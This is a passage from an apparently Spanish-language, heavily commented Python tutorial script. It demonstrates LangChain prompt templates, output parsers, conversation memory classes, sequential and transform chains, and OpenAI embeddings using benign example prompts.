promptEjemplos.format(Preguuuuntame = \"¿Cuál es el lugar más interesante de 5 ciudades diferentes en Francia?\")\nprint(\"Prompt Ejemplos LLM: \" + promptEjemlosLLM + \"\\n\\n\")\n#OpenAI(FewShotPromptTemplate().format()): Prompt mandado al modelo LLM.\nrespuestaEjemplosLLM = openaiLLM(promptEjemlosLLM)\nprint(\"Respuesta LLM con Prompt de Ejemplos: \", respuestaEjemplosLLM + \"\\n\\n\")\n\n#output_parsers: Paquete de la librería langchain que permite transformar la respuesta obtenida de un modelo LLM en un \n#JSON, diccionario, lista, tupla o cualquier otro tipo de dato estructurado que se pueda analizar dentro de un código.\n#CommaSeparatedListOutputParser: Clase del paquete output_parsers perteneciente a la librería langchain que permite \n#separar la respuesta obtenida de un modelo en una lista de elementos separados por comas.\nfrom langchain.output_parsers import CommaSeparatedListOutputParser\noutputParser = CommaSeparatedListOutputParser()         #Instancia de la clase CommaSeparatedListOutputParser.\n#CommaSeparatedListOutputParser.get_format_instructions(): Método que crea una variable que incluye el formato de \n#respuesta que se busca obtener al mandar un Prompt para que sea procesado por un modelo.\nformatoSalida = outputParser.get_format_instructions()\n#PromptTemplate(): En el constructor de la clase PromptTemplate perteneciente a la librería langchain se indica: \n# - template: Parámetro que indica la pregunta del prompt.\n# - input_variables: Indica a través de una lista todos los nombres de las variables incluidas en la plantilla del \n#   prompt, que se declararon dentro del template entre llaves {}.\n# - partial_variables: Parámetro que recibe un diccionario para indicar el formato de salida del prompt, el cual \n#   en este caso será en forma de lista, para ello se declara una key que indique el nombre del formato declarado \n#   como variable {} en el parámetro template del prompt y como su value se utiliza la variable que utilizó el método \n#   CommaSeparatedListOutputParser.get_format_instructions().\nplantillaPromptFormato = PromptTemplate(\n    template = \"Cuales son los ingredientes para preparar {platillo}\\n{variableFormato}\",\n    input_variables = [\"platillo\"],\n    partial_variables = {\"variableFormato\" : formatoSalida}\n)\n#PromptTemplate().format(): Método que rellena las variables del template con valores de entrada.\npromptFormatoLLM = plantillaPromptFormato.format(platillo = \"un brownie Keto\")\nprint(\"Prompt Formato Lista LLM: \" + promptFormatoLLM + \"\\n\\n\")\n#OpenAI(PromptTemplate().format()): Prompt mandado al modelo LLM.\nrespuestaFormatoLLM = openaiLLM(promptFormatoLLM)\nprint(\"Respuesta de LLM con Formato de Prompt: \", respuestaFormatoLLM + \"\\n\\n\")\n#CommaSeparatedListOutputParser().parse(PromptTemplate().format()): El método .parse() permite utilizar el formato que \n#instancía la clase CommaSeparatedListOutputParser aplicado a la plantilla creada con el objeto PromptTemplate después \n#de haber sido mandada al modelo de lenguaje.\nrespuestaFormateada = outputParser.parse(respuestaFormatoLLM)\nprint(\"Respuesta en forma de lista de un Prompt: \", str(respuestaFormateada) + \"\\n\\n\")\n\n\n\n\n\n#3.-MEMORIA (Memory): Esta clase permite almacenar las preguntas y respuestas hechas entre el LLM y el usuario, \n#permitiendo así que se simule una conversación entre ambos.\nprint(\"\\n\\n-----------------------------------------------3.-MEMORIA-----------------------------------------------\")\n#MEMORIA DE HISTORIAL COMPLETO: Guarda todos los mensajes enviados y recibidos del chat.\n#   - ConversationBufferMemory: Con esta clase se crea una de las memorias más básicas para guardar todo el historial \n#     de preguntas y respuestas mandadas y recibidas de un modelo de chat creado con la clase ChatOpenAI.\n#   - ConversationChain: Clase para generar conversaciones entre dos o más participantes, indicando el rol de cada \n#     uno, ya sea el usuario (Human) o el modelo (AI). Esta clase se apoya de alguna otra que almacene el historial \n#     de la conversación y puede ser configurada para conectar diferentes modelos de lenguaje entre sí, resolviendo \n#     así tareas más complejas.\nfrom langchain.memory import ConversationBufferMemory #ConversationBufferMemory: Memoria de historial de chat.\nfrom langchain.chains import ConversationChain        #ConversationChain: Cadena de memoria del chat.\n#ConversationBufferMemory(): Esta clase nos ayuda a gestionar todo el histórico de la conversación en un modelo de \n#chat, no recibe nada como parámetro, solamente se utiliza para crear una instancia de la clase.\nmemoriaHistorial = ConversationBufferMemory()                    #Instancia de la clase ConversationBufferMemory.\n#ConversationChain(): La clase ConversationChain se utiliza para generar conversaciones de texto entre dos o más \n#participantes y puede ser configurada para conectar diferentes modelos de lenguaje (LLM) o modelos de chat entre sí.\n#Además, cabe mencionar que durante la conversación se estará indicando quién es el que está realizando cada \n#interacción, ya sea el usuario (Human) o el modelo (AI).\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - memory: Recibe un objeto de memoria que gestione el historial de la conversación.\n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt\n#   y el rol del usuario que está contestando cada cosa, pero cuando es False, no se imprimirá ninguna información.\nchatbotHistorial = ConversationChain(llm = openaiChatGPT, memory = memoriaHistorial, verbose = True)\n#ConversationChain.predict(): El método predict() genera una conversación de texto utilizando el objeto \n#ConversationChain y a través de su parámetro input se introduce el Prompt mandado al chat.\nchatbotHistorial.predict(input = \"Hola como estás? Me llamo di_cer0 y soy la mente maestra detrás de la máquina.\")\n#Si se imprime en consola el resultado del objeto ConversationChain podremos observar que lo que retorna es lo que \n#está almacenado en la instancia de la clase ConversationBufferMemory, ya que esta representa el historial guardado \n#del chat.\nprint(\"Respuesta de Chat con Memoria:\\n\" + str(chatbotHistorial) + \"\\n\\n\")\n#ConversationBufferMemory.chat_memory.messages: Dentro de la variable de memoria del chat se encuentra el valor \n#chat_memory, este almacena todos los roles del chat, ya sea el del usuario (Human) o el del modelo (AI), todo el \n#historial es guardado dentro de una lista interna llamada messages. \nprint(\"Historial del chat guardado en el objeto ConversationBufferMemory:\\n\" + str(memoriaHistorial.chat_memory.messages) + \"\\n\\n\")\n#Debido al historial creado, esta nueva instrucción la contestará en función de lo que previamente le dije. \nchatbotHistorial.predict(input = \"Como me llamo?\")\nprint(\"Historial del chat:\\n\" + str(memoriaHistorial.chat_memory.messages) + \"\\n\\n\")\n\n#MEMORIA DE VENTANA: Guarda solo los últimos mensajes enviados y recibidos del chat.\n#   - ConversationBufferWindowMemory: Con esta clase se crea un tipo de memoria que en vez de guardar todo el historial \n#     de preguntas y respuestas mandadas y recibidas de un modelo de chat creado con la clase ChatOpenAI, solo guarda \n#     los últimos mensajes mandados, a esto se le llama ventana de mensajes.\nfrom langchain.memory import ConversationBufferWindowMemory #ConversationBufferWindowMemory: Memoria de mensajes.\n#ConversationBufferMemory(): Esta clase nos ayuda a gestionar la ventana de mensajes que guarda parte de la conversación \n#realizada sobre un modelo de chat. Por medio del parámetro k se indica el número de los últimos mensajes a guardar.\nmemoriaMensajes = ConversationBufferWindowMemory(k = 2)         #Instancia de la clase ConversationBufferWindowMemory.\n#ConversationChain(): La clase ConversationChain se utiliza para generar conversaciones de texto entre dos o más \n#participantes y puede ser configurada para conectar diferentes modelos de lenguaje (LLM) o modelos de chat entre sí. \n#Además, cabe mencionar que durante la conversación se estará indicando quién es el que está realizando cada \n#interacción, ya sea el usuario (Human) o el modelo (AI).\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - memory: Recibe un objeto de memoria que gestione el historial de la conversación.\n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt\n#   y el rol del usuario que está contestando cada cosa, pero cuando es False, no se imprimirá ninguna información.\nchatbotMensajes = ConversationChain(llm = openaiChatGPT, memory = memoriaMensajes, verbose = True)\n#ConversationChain.predict(): El método predict() genera una conversación de texto utilizando el objeto \n#ConversationChain y a través de su parámetro input se introduce el Prompt mandado al chat.\nchatbotMensajes.predict(input = \"Hello... I like trains, chu chu.\")\n#Si se imprime en consola el resultado del objeto ConversationChain podremos observar que lo que retorna es lo que \n#está almacenado en la instancia de la clase ConversationBufferMemory, ya que esta representa el historial guardado \n#del chat.\nprint(\"Respuesta de Chat con Memoria:\\n\" + str(chatbotMensajes) + \"\\n\\n\")\n#ConversationBufferWindowMemory.chat_memory.messages: Dentro de la variable de memoria del chat se encuentra el valor \n#chat_memory, este almacena todos los roles del chat, ya sea el del usuario (Human) o el del modelo (AI) y también las \n#partes del historial de la conversación incluidas en la ventana de memoria en una lista interna llamada messages. \nprint(\"Historial del chat guardado en el objeto ConversationBufferWindowMemory:\\n\" \n      + str(memoriaMensajes.chat_memory.messages) + \"\\n\\n\")\nchatbotMensajes.predict(input = \"What do I like?\")\nprint(\"Historial del chat:\\n\" + str(memoriaMensajes.chat_memory.messages) + \"\\n\\n\")\n#Debido al historial creado, esta nueva instrucción la contestará en función de lo que previamente le dije, pero \n#ya con esto último se borrará el primer mensaje en el historial, porque solo indicamos que guarde k = 2, por lo \n#que almacenará solo los últimos 2 mensajes, incluyendo la respuesta del modelo, debido a esta situación no sabrá \n#como responder la última pregunta que le hice, entonces hay que tener cuidado porque al utilizar esta memoria, \n#el chat empezará a olvidar información.\nchatbotMensajes.predict(input = \"What do I like?\")\n#Aunque la variable de la memoria si guarda todo el historial de la conversación, solamente manda los últimos dos\n#mensajes de este al modelo, por eso es que olvida cosas.\nprint(\"Historial del chat:\\n\" + str(memoriaMensajes.chat_memory.messages) + \"\\n\\n\")\n\n#RESUMEN DE CONVERSACIÓN: Utiliza un segundo modelo para crear un resumen en inglés de la conversación entre el \n#usuario y el modelo, reduciendo así el número de tokens utilizados y bajando el costo de la API.\n#   - ConversationSummaryMemory: Con esta clase se crea una cadena de modelos, donde en vez de guardar todo el \n#     historial de la conversación de forma literal, cada vez que responda un prompt el chat, el historial será \n#     mandado a otro modelo que realice un resumen de la conversación, con el peligro de que se borren algunos \n#     datos importantes o que se haga un mal resumen, pero de esta forma se optimiza el uso de recursos y además\n#     el costo de la API baja porque se reduce el número de tokens en uso.\nfrom langchain.memory import ConversationSummaryMemory #ConversationSummaryMemory: Memoria de resumen de historial.\n#ConversationSummaryMemory(): Esta clase crea un resumen en inglés de todo el historial de la conversación a través \n#de un segundo modelo para seguir teniendo un contexto del tema tratado en el chat, reduciendo así el número de tokens \n#utilizados para bajar el costo de uso de la API, para ello se le debe pasar el modelo auxiliar de chat que utiliza\n#en su parámetro llm, que puede ser tanto de tipo Chat (ChatOpenAI) como de tipo LLM (OpenAI).\n#ChatOpenAI(): En el constructor de la clase OpenAI perteneciente al paquete llms de la librería langchain se indica: \n# - model_name: Parámetro que indica el modelo que se quiere utilizar, en este caso se utilizará gpt-3.5-turbo que \n#   pertenece a GPT-3.5.\n# - openai_api_key: Con este parámetro se proporciona la API key, que por buenas prácticas debe provenir de otro \n#   archivo.\n# - temperature: La temperatura es un valor entre 0 y 1 que indica la creatividad con la que contesta el LLM, si es \n#   demasiado grande, puede responder con algo totalmente aleatorio.\n#Todos los modelos disponibles para usarse con OpenAI estan enlistados en el siguiente enlace y cada uno es mejor \n#en ciertas funciones que el otro:\n#https://platform.openai.com/docs/models\nmodeloResumen = ChatOpenAI(model_name = \"gpt-3.5-turbo\", openai_api_key = ApiKey, temperature = 0.7)    #Chat.\nmemoriaResumen = ConversationSummaryMemory(llm = modeloResumen) #Instancia de la clase ConversationSummaryMemory.\n#participantes y puede ser configurada para conectar diferentes modelos de lenguaje (LLM) o modelos de chat entre sí. \n#Además, cabe mencionar que durante la conversación se estará indicando quién es el que está realizando cada \n#interacción, ya sea el usuario (Human) o el modelo (AI).\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - memory: Recibe un objeto de memoria que gestione el historial de la conversación.\n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt\n#   y el rol del usuario que está contestando cada cosa, pero cuando es False, no se imprimirá ninguna información.\nchatbotResumen = ConversationChain(llm = openaiChatGPT, memory = memoriaResumen, verbose = True)\n#ConversationChain.predict(): El método predict() genera una conversación de texto utilizando el objeto \n#ConversationChain y a través de su parámetro input se introduce el Prompt mandado al chat.\nchatbotResumen.predict(input = \"Oye ChatGpt si quiero crear un asistente virtual como Jarvis de Ironman como le hago?\")\n#Si se imprime en consola el resultado del objeto ConversationChain podremos observar que lo que retorna es lo que \n#está almacenado en la instancia de la clase ConversationBufferMemory, ya que esta representa el historial guardado \n#del chat.\nprint(\"Respuesta de Chat con Memoria:\\n\" + str(chatbotResumen) + \"\\n\\n\")\n#ConversationSummaryMemory.chat_memory.messages: Dentro de la variable de memoria del chat se encuentra el valor \n#chat_memory, este almacena todos los roles del chat, ya sea el del usuario (Human) o el del modelo (AI), y un resumen \n#de todo el historial, que se encuentra guardado dentro de una lista interna llamada messages.\nchatbotResumen.predict(input = \"Pero cuales son las mejores herramientas que puedo utilizar?\")\nprint(\"Historial del chat:\\n\" + str(memoriaResumen.chat_memory.messages) + \"\\n\\n\")\nchatbotResumen.predict(input = \"De donde puedo obtener un sintetizador de voz para que me pueda responder?\")\nprint(\"Historial del chat:\\n\" + str(memoriaResumen.chat_memory.messages) + \"\\n\\n\")\n\n#PALABRAS CLAVE DEL HISTORIAL: Utiliza un segundo modelo para crear listas con las palabras clave de la conversación.\n#   - ConversationKGMemory: Con esta clase se crea una cadena de modelos, donde en vez de guardar todo el historial \n#     de la conversación de forma literal, cada vez que responda un prompt el chat, el historial será mandado a otro \n#     modelo que extraiga palabras clave de la conversación, creando así un gráfico de conocimiento en forma de lista\n#     llamado Knowledge Graph para después poder contestar con ese contexto.\n#Esta clase a veces llega a tener problemas al acceder los elementos en memoria ya que tiene problema con la traducción\n#de las instrucciones del prompt, que por default están en inglés.\nfrom langchain.memory import ConversationKGMemory #ConversationKGMemory: Memoria de palabras clave del historial.\n#ConversationKGMemory(): Esta clase crea una lista con palabras clave de todo el historial de la conversación a través \n#de un segundo modelo para seguir teniendo un contexto del tema tratado en el chat, reduciendo así el número de tokens \n#utilizados para bajar el costo de uso de la API, para ello se le debe pasar el modelo auxiliar de chat que utiliza\n#en su parámetro llm, que puede ser tanto de tipo Chat (ChatOpenAI) como de tipo LLM (OpenAI).\n#ChatOpenAI(): En el constructor de la clase OpenAI perteneciente al paquete llms de la librería langchain se indica: \n# - model_name: Parámetro que indica el modelo que se quiere utilizar, en este caso se utilizará gpt-3.5-turbo que \n#   pertenece a GPT-3.5.\n# - openai_api_key: Con este parámetro se proporciona la API key, que por buenas prácticas debe provenir de otro \n#   archivo.\n# - temperature: La temperatura es un valor entre 0 y 1 que indica la creatividad con la que contesta el LLM, si es \n#   demasiado grande, puede responder con algo totalmente aleatorio y si es muy bajo responderá lo mismo siempre, \n#   función que podría ser deseada cuando por ejemplo se contestan problemas matemáticos.\n#Todos los modelos disponibles para usarse con OpenAI estan enlistados en el siguiente enlace y cada uno es mejor \n#en ciertas funciones que el otro:\n#https://platform.openai.com/docs/models\nmodeloPalabrasClave = ChatOpenAI(model_name = \"gpt-3.5-turbo\", openai_api_key = ApiKey, temperature = 1)    #Chat.\nmemoriaGraph = ConversationKGMemory(llm = modeloPalabrasClave) #Instancia de la clase ConversationKGMemory.\n#ConversationChain(): La clase ConversationChain se utiliza para generar conversaciones de texto entre dos o más \n#participantes y puede ser configurada para conectar diferentes modelos de lenguaje (LLM) o modelos de chat entre sí. \n#Además, cabe mencionar que durante la conversación se estará indicando quién es el que está realizando cada \n#interacción, ya sea el usuario (Human) o el modelo (AI).\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - memory: Recibe un objeto de memoria que gestione el historial de la conversación.\n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt\n#   y el rol del usuario que está contestando cada cosa, pero cuando es False, no se imprimirá ninguna información.\nchatbotPalabrasClave = ConversationChain(llm = openaiChatGPT, memory = memoriaGraph, verbose = True)\n#ConversationChain.predict(): El método predict() genera una conversación de texto utilizando el objeto \n#ConversationChain y a través de su parámetro input se introduce el Prompt mandado al chat.\nchatbotPalabrasClave.predict(input = \"Holis ChatGpt mi nombre es Diego Cervantes y soy mecatrónico.\")\n#Si se imprime en consola el resultado del objeto ConversationChain podremos observar que lo que retorna es lo que \n#está almacenado en la instancia de la clase ConversationBufferMemory, ya que esta representa el historial guardado \n#del chat.\nprint(\"Respuesta de Chat con Palabras Clave de Knowledge Graph:\\n\" + str(chatbotPalabrasClave) + \"\\n\\n\")\n#ConversationKGMemory.memory.kg.get_triples(): Para obtener el Knowledge Graph que representa las palabras clave de \n#la conversación se debe acceder a su valor memory.kg dentro del objeto ConversationChain, para ahí aplicar el \n#método get_triples() y así obtener la lista de palabras clave que le dan contexto a la memoria de la conversación.\n#Pero hay que tener muy en cuenta que esto puede tener errores cuando se utiliza un lenguaje que no sea el inglés.\nchatbotPalabrasClave.predict(input = \"Mi película favorita es Ironman, mis series favoritas son Daredevil y How I met your mother\")\nprint(\"Knowledge Graph del chat:\\n\" + str(chatbotPalabrasClave.memory.kg.get_triples()) + \"\\n\\n\")\nchatbotPalabrasClave.predict(input = \"Mis habilidades técnicas son de desarrollador web, móvil, sistemas embebidos, robótica, etc.\")\nprint(\"Knowledge Graph del chat:\\n\" + str(chatbotPalabrasClave.memory.kg.get_triples()) + \"\\n\\n\")\n#ConversationKGMemory.chat_memory.messages: Dentro de la variable de memoria del chat se encuentra el valor \n#chat_memory, este almacena todos los roles del chat, ya sea el del usuario (Human) o el del modelo (AI) y también la  \n#respuesta del chat en función del Knowledge Graph de la conversación guardada en la lista interna llamada messages. \nchatbotPalabrasClave.predict(input = \"Cuál es mi nombre, a que me dedico y cual es mi serie favorita?\")\nprint(\"Knowledge Graph del chat:\\n\" + str(memoriaGraph.chat_memory.messages) + \"\\n\\n\")\n\n\n\n\n\n#4.-CADENAS (Chains): Con esta herramienta se permite enlazar un modelo con un Prompt, también con ella se pueden \n#conectar varios modelos entre sí, hasta cuando son de distintos tipos, permitiéndonos así realizar varias iteraciones \n#entre modelos durante una consulta para obtener un mejor procesamiento final de los datos cuando este se busca aplicar \n#a tareas muy complejas.\nprint(\"\\n\\n-----------------------------------------------4.-CADENAS-----------------------------------------------\")\n#CADENA SIMPLE: Permite encadenar un prompt con un modelo.\n#   - LLMChain: Con esta clase se conecta un prompt con un modelo de lenguaje, creando así una cadena individual.\nfrom langchain import LLMChain      #LLMChain: Librería que crea una cadena, la cual incluye un prompt y un modelo.\n#PromptTemplate(): En el constructor de la clase PromptTemplate perteneciente a la librería langchain se indica: \n# - template: Parámetro que indica la plantilla del prompt previamente creada y almacenada en una variable.\n# - input_variables: Indica a través de una lista todos los nombres de las variables incluidas en la plantilla del \n#   prompt, que se declararon dentro de la variable template entre llaves {}.\nplantillaPromptCadenaLLM = PromptTemplate(\n    template = \"Eres un asistente virtual experto en {tema} y respondes con una lista de 3 conceptos clave sobre el mismo.\",\n    input_variables = [\"tema\"]\n)\n#LLMChain(): Crea una cadena que unifica una plantilla de prompt con un modelo para que sea procesado.\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - prompt: Recibe un objeto tipo PromptTemplate que representa la plantilla del prompt mandada a la cadena LLM.\ncadenaLLM = LLMChain(llm = openaiLLM, prompt = plantillaPromptCadenaLLM)\n#LLMChain().predict(): El método predict lo que hace es rellenar las variables de la plantila del prompt con valores \n#de entrada. La cadena es una alternativa diferente a utilizar el objeto OpenAI(PromptTemplate().format()), pero \n#básicamente hacen lo mismo.\nrespuestaChainLLM = cadenaLLM.predict(tema = \"inteligencia artificial\")\nprint(\"Cadena LLM con plantilla de Prompt: \", str(cadenaLLM), \"\\n\\n\")\nprint(\"Respuesta de LLMChain con plantilla de Prompt: \", str(respuestaChainLLM), \"\\n\\n\")\n\n#CADENA SECUENCIAL: Permite encadenar un prompt con varios modelos de forma secuencial, uniendo así varias cadenas.\n#   - SequentialChain: Con esta clase se pueden conectar dos o más cadenas, osea modelos de lenguaje que se encuentran \n#     enlazados con un prompt, pudiendo recibir así múltiples entradas y generar múltiples salidas, ya que la salida de\n#     una cadena puede ser la entrada de otra cadena de forma secuencial. Además existe la clase SimpleSequentialChain \n#     que hace lo mismo pero con la condición de que solo puede recibir 1 entrada y proporcionar 1 salida.\n#Para que una cadena SequentialChain funcione, se deben declarar varias cadenas individuales LLMChain, cada una con su \n#propio PromptTemplate.\nfrom langchain.chains import SequentialChain        #SequentialChain: Cadena de cadenas con muchas entradas y salidas.\nfrom langchain.chains import SimpleSequentialChain  #SimpleSequentialChain: Cadena de cadenas con 1 entrada y 1 salida.\n#PromptTemplate.from_template(): Método que crea un objeto PromptTemplate a partir de una plantilla de texto, la gran\n#diferencia de usar este método en vez del constructor de la clase PromptTemplate() es que no se indica de forma \n#explícita las variables del prompt, solo se crea el objeto. La asignación de valor de las variables será realizada a \n#través de su nombre con el método LLMChain().predict() después de haber creado la cadena individual.  \npromptTemplate_1 = \"\"\"Eres un asistente virtual de viajes que enumera 3 recomiendaciones de ciudades interesantes para \n                 viajar por {paisViaje}.\"\"\"\nplantillaPromptCadenaLLM_1 = PromptTemplate.from_template(promptTemplate_1)\n#LLMChain(): Crea una cadena que unifica una plantilla de prompt con un modelo para que sea procesado.\n# - llm: Indica el modelo de lenguaje o chat a utilizar.\n# - prompt: Recibe un objeto tipo PromptTemplate que representa la plantilla del prompt mandada a la cadena LLM.\n# - output_key: Este parámetro representa el nombre que se le asigna a la salida de esta cadena individualmente, para \n#   que así cuando se unifiquen varias a través del objeto SequentialChain, se pueda elegir cuales salidas se reciben \n#   como entrada de otras cadenas o cuales hasta se consideran como la salida del mismo objeto SequentialChain.\ncadenaLLM_1 = LLMChain(llm = openaiLLM, prompt = plantillaPromptCadenaLLM_1, output_key = \"listaCiudades\", verbose = True)\n#PromptTemplate.from_template(): Método que crea un objeto PromptTemplate a partir de una plantilla de texto.\npromptTemplate_2 = \"\"\"Eres un asistente virtual de viajes que recibe una lista de 3 ciudades interesantes para \n                   viajar por un país y debe devolver 5 lugares interesantes para visitar en cada ciudad.\n                   La lista de ciudades es {listaCiudades}\"\"\"\nplantillaPromptCadenaLLM_2 = PromptTemplate.from_template(promptTemplate_2)\n#LLMChain(): Crea una cadena individual que unifica una plantilla de prompt con un modelo para que sea procesado.\ncadenaLLM_2 = LLMChain(llm = openaiLLM, prompt = plantillaPromptCadenaLLM_2, output_key = \"atraccionesCiudad\", verbose = True)\n#SequentialChain(): Objeto que crea una cadena de cadenas LLMChain, pudiendo recibir múltiples entradas y generar \n#múltiples salidas, ya que la salida de una cadena puede ser la entrada de otra cadena de forma secuencial.\n# - chains: Parámetro que recibe una lista con todas las cadenas individuales LLMChain que se conectarán, declarándolas\n#   en el órden en el que se ejecutarán de forma secuencial.\n# - input_variables: Indica a través de una lista todos los nombres de las variables de entrada incluidas en las \n#   plantillas de los prompts pertenecientes a cada cadena, que se declararon entre llaves {}.\n# - output_variables: Indica a través de una lista los nombres de las output_key que se quieren considerar como salida \n#   de la cadena.\n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt\n#   y el rol del usuario que está contestando cada cosa, pero cuando es False, no se imprimirá ninguna información.\ncadenaSecuencial = SequentialChain(chains = [cadenaLLM_1, cadenaLLM_2],\n                                   input_variables = [\"paisViaje\"],\n                                   output_variables = [\"listaCiudades\", \"atraccionesCiudad\"],\n                                   verbose = True)\n#Para asignar valores a las entradas de una cadena se debe utilizar un diccionario, donde la key representa el nombre \n#de la variable y el value su valor: {key: value} = {\"nombreVariable\": \"Valor\"}\nrespuestaSequentialChain = cadenaSecuencial({\"paisViaje\" : \"Alemania\"})\nprint(\"Cadena Secuencial LLM con plantilla de Prompt: \", str(cadenaSecuencial), \"\\n\\n\")\nprint(\"Respuesta de SequentialChain con plantillas de Prompt: \", str(respuestaSequentialChain), \"\\n\\n\")\nprint(\"Respuesta 1 de SequentialChain con plantillas de Prompt: \", str(respuestaSequentialChain[\"listaCiudades\"]), \"\\n\\n\")\nprint(\"Respuesta 2 de SequentialChain con plantillas de Prompt: \", str(respuestaSequentialChain[\"atraccionesCiudad\"]), \"\\n\\n\")\n\n#SimpleSequentialChain(): Objeto que crea una cadena de cadenas LLMChain, pudiendo recibir una entrada y generar \n#una salida.\n# - chains: Parámetro que recibe una lista con todas las cadenas individuales LLMChain que se conectarán, declarándolas\n#   en el órden en el que se ejecutarán de forma secuencial.\n# - verbose: Variable booleana que controla la información impresa en consola. Cuando verbose es True, el objeto \n#   ConversationChain imprimirá información sobre el proceso de generación de la conversación, incluyendo el prompt\n#   y el rol del usuario que está contestando cada cosa, pero cuando es False, no se imprimirá ninguna información.\ncadenaSecuencialSimple = SimpleSequentialChain(chains = [cadenaLLM_1, cadenaLLM_2],\n                                               verbose = True)\n#SimpleSequentialChain().run(): El método run() proporciona el valor de la única entrada que puede tener la cadena de \n#tipo SimpleSequentialChain y luego la ejecuta para que podamos ver su resultado.\nrespuestaSimpleSequentialChain = cadenaSecuencialSimple.run(\"Francia\")\nprint(\"Cadena Secuencial Simple de LLM con plantilla de Prompt: \", str(cadenaSecuencialSimple), \"\\n\\n\")\nprint(\"Respuesta de SimpleSequentialChain con plantillas de Prompt: \", str(respuestaSimpleSequentialChain), \"\\n\\n\")\n\n#PROCESAMIENTO DE LLM: Permite encadenar un prompt con varios modelos de forma secuencial, uniendo así varias cadenas.\n#   - TransformChain: Con esta clase se implementa una cadena de transformación, que se aplica a una entrada para \n#     producir una salida con un formato personalizado. Las transformaciones pueden ser representadas por cualquier \n#     función que tome una secuencia como entrada y devuelva una secuencia como salida.\n#Por lo tanto, para que una cadena TransformChain funcione, se debe declarar una función propia que cambie el formato \n#de la salida de otra cadena.\nfrom langchain.chains import TransformChain    #TransformChain: Librería que crea una cadena de cadenas.\n#Función propia que cambia el formato de cualquier salida proporcionada por un modelo de Chat o LLM.\ndef eliminarSaltosDeLinea(entrada):\n    #Función que intercambia los saltos de línea por espacios.\n    texto = entrada[\"texto\"]    #Recibe una lista con un diccionario interno de key = texto.\n    #lista.replace(): Método que reemplaza dentro de una lista un string por otro.\n    return {\"texto_limpio\" : texto.replace(\"\\n\", \"\")}\n#TransformChain(): Objeto que recibe un prompt, cambia su formato de una forma personalizada y lo retorna en una \n#variable nueva.\n# - input_variables: Indica a través de una lista los prompts de entrada.\n# - output_variables: Indica a través de una lista el nombre de la variable de salida ya con el formato deseado.\n# - transform: Recibe el nombre de la función propia que transforma el formato de la variable de entrada.\ncadenaTransformarFormato = TransformChain(input_variables = [\"texto\"],\n                                          output_variables = [\"texto_limpio\"],\n                                          transform = eliminarSaltosDeLinea)\nprompt_transform = \"\"\"\\n Este es un texto \\ncon brincos \\nde linea innecesarios\\n.\"\"\"\n#TransformChain().run(): El método run() proporciona el valor de entrada del prompt y luego la ejecuta para que \n#podamos ver su resultado.\nrespuestaTransformChain = cadenaTransformarFormato.run(prompt_transform)\nprint(\"Cadena TransformChain de LLM con plantilla de Prompt: \", str(cadenaTransformarFormato), \"\\n\\n\")\nprint(\"Respuesta de TransformChain con plantillas de Prompt: \", str(respuestaTransformChain), \"\\n\\n\")\n\n\n\n\n\n#5.0.-EMBEDDINGS: Los LLM convierten y asocian palabras a través de un vector llamado Embedding, el cual es un simple \n#array de varias dimensiones que se encuentra en un espacio vectorial, cuya función es asociar de forma gráfica una \n#palabra con otras parecidas y/o alejarla de otras que sean muy distintas, de esta manera es como el modelo entiende \n#el lenguaje humano para realizar búsquedas, agrupaciones, clasificaciones, recomendaciones, etc.\nprint(\"\\n\\n-----------------------------------------------5.-ÍNDICES-----------------------------------------------\")\n#   - OpenAIEmbeddings: Clase que convierte cualquier texto que se le mande en un vector numérico.\nfrom langchain.embeddings import OpenAIEmbeddings\n#OpenAIEmbeddings(): El constructor de la clase OpenAIEmbeddings recibe los siguientes parámetros de OpenAI:\n# - openai_api_key: Con este parámetro se roporciona la API key, que por buenas prácticas debe provenir de otro \n#   archivo.\n# - model: Parámetro que indica el modelo que se quiere utilizar, en este caso se utilizará el más recomendado, que es \n#   el text-embedding-ada-002, que puede recibir como máximo 8191 y da como salida un vector con tamaño de 1536.\n#https://platform.openai.com/docs/guides/embeddings/what-are-embeddings\nmodeloEmbedding = OpenAIEmbeddings(openai_api_key = ApiKey, model = \"text-embedding-ada-002\")\npromptEmbedding = \"Soy di_cer0!!!\"\n#OpenAIEmbeddings().embed_query(): El método .embed_query() toma una cadena de texto como entrada y devuelve un vector \n#(osea una lista) de números que representa su embedding. \nrespuestaEmbedding = modeloEmbedding.embed_query(promptEmbedding)\n#len(lista): Devuelve el tamaño de la lista a la que se le aplique, en este caso devuelve el tamaño del embedding.\nprint(\"Embedding obtenido del Prompt: \", promptEmbedding, \"=\", str(respuestaEmbedding), \"con tamaño de\",  \n      str(len(respuestaEmbedding)), \"\\n\\n\")\n\n#5.1.-ÍNDICES (Retrieval o Data connection): La forma en la que más se aprovechan los modelos de lenguaje es cuando se \n#les da acceso a distintas fuentes de información, como lo puede ser un archivo PDF, Word, Excel, PowerPoint, etc. \n#Los índices en LangChain son los que nos van a permitir enlazar un gran número de documentos para que sean procesados \n#por el modelo, para ello la librería cuenta con diferentes clases que permiten realizar el enlace.\n\n#CARGAR VARIOS DOCUMENTOS .TXT, .DOCX O .PDF A LA VEZ DE UNA CARPETA CON LA CLASE DirectoryLoader: La gran \n#funcionalidad de esto radica cuando se quiere crear una base de datos de nuestros propios archivos, para hacerle \n#preguntas sobre ellos. \n#   - DirectoryLoader: Clase perteneciente al paquete document_loaders que permite cargar en el programa el contenido \n#     de todos los archivos incluidos en una carpeta, para ello se debe proporcionar el path completo del directorio e \n#     indicar el tipo de documento que se quiere importar. \n#     Cabe mencionar que esta Clase se apoya en la librería unstructured al ejecutarse, por lo que para cada tipo de \n#     documento que sea distinto a archivos con extensión .txt se deberá hacer una 